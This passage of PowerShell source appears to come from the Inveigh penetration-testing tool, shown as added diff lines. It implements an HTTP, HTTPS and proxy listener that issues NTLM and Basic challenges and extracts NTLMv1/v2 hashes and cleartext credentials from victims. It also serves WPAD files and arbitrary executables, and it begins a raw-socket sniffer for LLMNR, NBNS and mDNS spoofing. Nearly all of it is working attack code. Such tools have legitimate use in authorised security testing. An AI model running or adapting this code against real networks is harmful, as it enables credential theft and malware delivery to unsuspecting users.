0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, + 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, + 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, + 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, + 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, + 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, + 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, + 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + + $HTTP_timestamp + + 0x00,0x00,0x00,0x00,0x0a,0x0a + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = "NTLM " + $NTLM_challenge_base64 + $NTLM_challenge = $HTTP_challenge + + return $NTLM + } + + if($HTTPS_listener) + { + $HTTP_type = "HTTPS" + } + elseif($proxy_listener) + { + $HTTP_type = "Proxy" + } + else + { + $HTTP_type = "HTTP" + } + + if($HTTPIP -ne '0.0.0.0') + { + $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) + $HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) + } + + $HTTP_running = $true + $HTTP_listener = New-Object System.Net.Sockets.TcpListener $HTTP_endpoint + $HTTP_client_close = $true + + if($proxy_listener) + { + $HTTP_linger = New-Object System.Net.Sockets.LingerOption($true,0) + $HTTP_listener.Server.LingerState = $HTTP_linger + } + + try + { + $HTTP_listener.Start() + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + $HTTP_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") + } + + } + + :HTTP_listener_loop while($inveigh.running -and $HTTP_running) + { + $TCP_request = "" + $TCP_request_bytes = New-Object System.Byte[] 4096 + $HTTP_send = $true + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("text/html") + $HTTP_header_cache_control = "" + $HTTP_header_authenticate = "" + $HTTP_header_authenticate_data = "" + $HTTP_message = "" + $HTTP_header_authorization = "" + $HTTP_header_host = "" + $HTTP_header_user_agent = "" + $HTTP_request_raw_URL = "" + $NTLM = "NTLM" + + while(!$HTTP_listener.Pending() -and !$HTTP_client.Connected) + { + + Start-Sleep -m 10 + + if(!$inveigh.running) + { + break HTTP_listener_loop + } + + } + + if($HTTPS_listener) + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_clear_stream = $HTTP_client.GetStream() + $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) + $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) + $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) + } + + [Byte[]]$SSL_request_bytes = $null + + do + { + $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] + } while ($HTTP_clear_stream.DataAvailable) + + $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) + } + else + { + + if(!$HTTP_client.Connected -or $HTTP_client_close -and $inveigh.running) + { + $HTTP_client = $HTTP_listener.AcceptTcpClient() + $HTTP_stream = $HTTP_client.GetStream() + } + + if($HTTP_stream.DataAvailable) + { + $HTTP_data_available = $true + } + else + { + $HTTP_data_available = $false + } + + while($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + } + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*" -or $TCP_request -like "50-4f-53-54*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + + if($NBNSBruteForcePause) + { + $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + $inveigh.hostname_spoof = $true + } + + if($TCP_request -like "*-48-6F-73-74-3A-20-*") + { + $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) + $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) + $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) + } + + if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") + { + $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) + $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) + + if($HTTPResetDelay.Count -gt 0 -and ($HTTPResetDelay | Where-Object {$HTTP_header_user_agent -match $_})) + { + $HTTP_reset_delay = $true + $HTTP_reset_delay_timeout = New-TimeSpan -Seconds $HTTPResetDelayTimeout + $HTTP_reset_delay_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + } + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent received from $HTTP_source_IP`:`n$HTTP_header_user_agent") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type user agent $HTTP_header_user_agent received from $HTTP_source_IP") + } + + if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type ignoring wpad.dat request due to user agent from $HTTP_source_IP") + } + + } + + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) + $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) + } + + if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + } + else + { + + if(($HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'NTLM') -or ($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'NTLM')) + { + $HTTPNTLMESS = $true + } + else + { + $HTTPNTLMESS = $false + } + + if($proxy_listener) + { + $HTTP_response_status_code = 0x34,0x30,0x37 + $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + } + else + { + $HTTP_response_status_code = 0x34,0x30,0x31 + $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 + } + + $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 + $HTTP_client_close = $false + } + + if($TCP_request -like "50-4f-53-54*") + { + $HTTP_POST_request_extract = $TCP_request.Substring($TCP_request.IndexOf("-0D-0A-0D-0A-") + 12) + $HTTP_POST_request_extract = $HTTP_POST_request_extract.Substring(0,$HTTP_POST_request_extract.IndexOf("-00-")) + $HTTP_POST_request_extract = $HTTP_POST_request_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $HTTP_POST_request = New-Object System.String ($HTTP_POST_request_extract,0,$HTTP_POST_request_extract.Length) + + if($HTTP_POST_request_old -ne $HTTP_POST_request) + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request $HTTP_POST_request captured from $HTTP_source_IP") + $inveigh.POST_request_file_queue.Add($HTTP_POST_request) + $inveigh.POST_request_list.Add($HTTP_POST_request) + + if($inveigh.file_output) + { + $inveigh.console_queue.Add("$HTTP_type POST request written to " + $inveigh.POST_request_out_file) + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type POST request captured from $HTTP_source_IP") + } + + } + + $HTTP_POST_request_old = $HTTP_POST_request + } + + if($HTTP_header_authorization.StartsWith('NTLM ')) + { + + $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' + [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) + + if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') + { + $NTLM = NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') + { + $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes + $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes + [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = "" + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes + $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes + $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes + $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + + } + + } + else # NTLMv2 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + + } + + } + + if ($inveigh.IP_capture_list -notcontains $HTTP_source_IP -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $HTTP_source_IP -ne $IP) + { + $inveigh.IP_capture_list.Add($HTTP_source_IP) + } + + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + $NTLM_challenge = "" + + if($proxy_listener) + { + + if($HTTPResponse -or $HTTPDir) + { + $HTTP_header_cache_control = 0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x6e,0x6f,0x2d,0x63,0x61,0x63,0x68,0x65,0x2c,0x20,0x6e,0x6f,0x2d,0x73,0x74,0x6f,0x72,0x65 + } + else + { + $HTTP_send = $false + } + + } + + } + else + { + $HTTP_client_close = $true + } + + } + elseif($HTTP_header_authorization.startswith('Basic ')) + { + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_header_authorization = $HTTP_header_authorization -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($HTTP_header_authorization)) + $HTTP_client_close = $true + $inveigh.cleartext_file_queue.Add($cleartext_credentials) + $inveigh.cleartext_list.Add($cleartext_credentials) + $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from $HTTP_source_IP") + + if($inveigh.file_output) + { + $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from $HTTP_source_IP") + } + + } + + if(($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( + $WPADAuthIgnore.Count -gt 0 -and $WPADAuth -like 'NTLM*' -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_})) -or $HTTP_client_close) + { + + if($HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url))) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE)) + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/exe") + } + elseif($HTTPDir) + { + + if($HTTPDefaultFile -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile)) -and $HTTP_request_raw_url -notmatch '/wpad.dat') + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) + } + elseif(($HTTPDefaultFile -and $HTTP_request_raw_url -eq '' -or $HTTPDefaultFile -and $HTTP_request_raw_url -eq '/') -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile))) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile)) + } + elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat') + { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse) + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + } + else + { + + if(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) + { + [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTP_request_raw_url)) + } + else + { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTPResponse) + } + + } + + } + else + { + + if($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_message = $WPADResponse + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + } + elseif($HTTPResponse) + { + $HTTP_message = $HTTPResponse + + if($HTTPContentType) + { + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTPContentType) + } + + } + + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + } + + } + else + { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message_bytes.Length) + + if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + } + elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") + } + + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary + $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) + + if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) + { + $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_content_type) + { + $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_cache_control) + { + $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_send) + { + $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) + $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse + $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) + $HTTP_stream.Flush() + } + + Start-Sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old = $HTTP_client.Client.Handle + + if($HTTP_client_close) + { + $HTTP_reset_delay = $false + + if($proxy_listener) + { + $HTTP_client.Client.Close() + } + else + { + $HTTP_client.Close() + } + + } + + } + else + { + + if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) + { + $HTTP_client.Close() + $HTTP_client_close = $true + $HTTP_reset_delay = $false + } + else + { + Start-Sleep -m 100 + } + + } + + } + + $HTTP_client.Close() + start-sleep -s 1 + $HTTP_listener.Server.Blocking = $false + Start-Sleep -s 1 + $HTTP_listener.Server.Close() + Start-Sleep -s 1 + $HTTP_listener.Stop() +} + +# Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer +$sniffer_scriptblock = +{ + param ($IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL,$NBNS,$NBNS_response_message,$NBNSTypes,$NBNSTTL,$SMB,$SpooferHostsIgnore,$SpooferHostsReply,$SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply, + $SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval) + + $sniffer_running = $true + $byte_in = New-Object System.Byte[] 4 + $byte_out = New-Object System.Byte[] 4 + $byte_data = New-Object System.Byte[] 4096 + $byte_in[0] = 1 + $byte_in[1-3] = 0 + $byte_out[0] = 1 + $byte_out[1-3] = 0 + $sniffer_socket = New-Object System.Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) + $sniffer_socket.SetSocketOption("IP","HeaderIncluded",$true) + $sniffer_socket.ReceiveBufferSize = 4096 + + try + { + $end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]"$IP",0) + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + $sniffer_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + } + + } + + $sniffer_socket.Bind($end_point) + 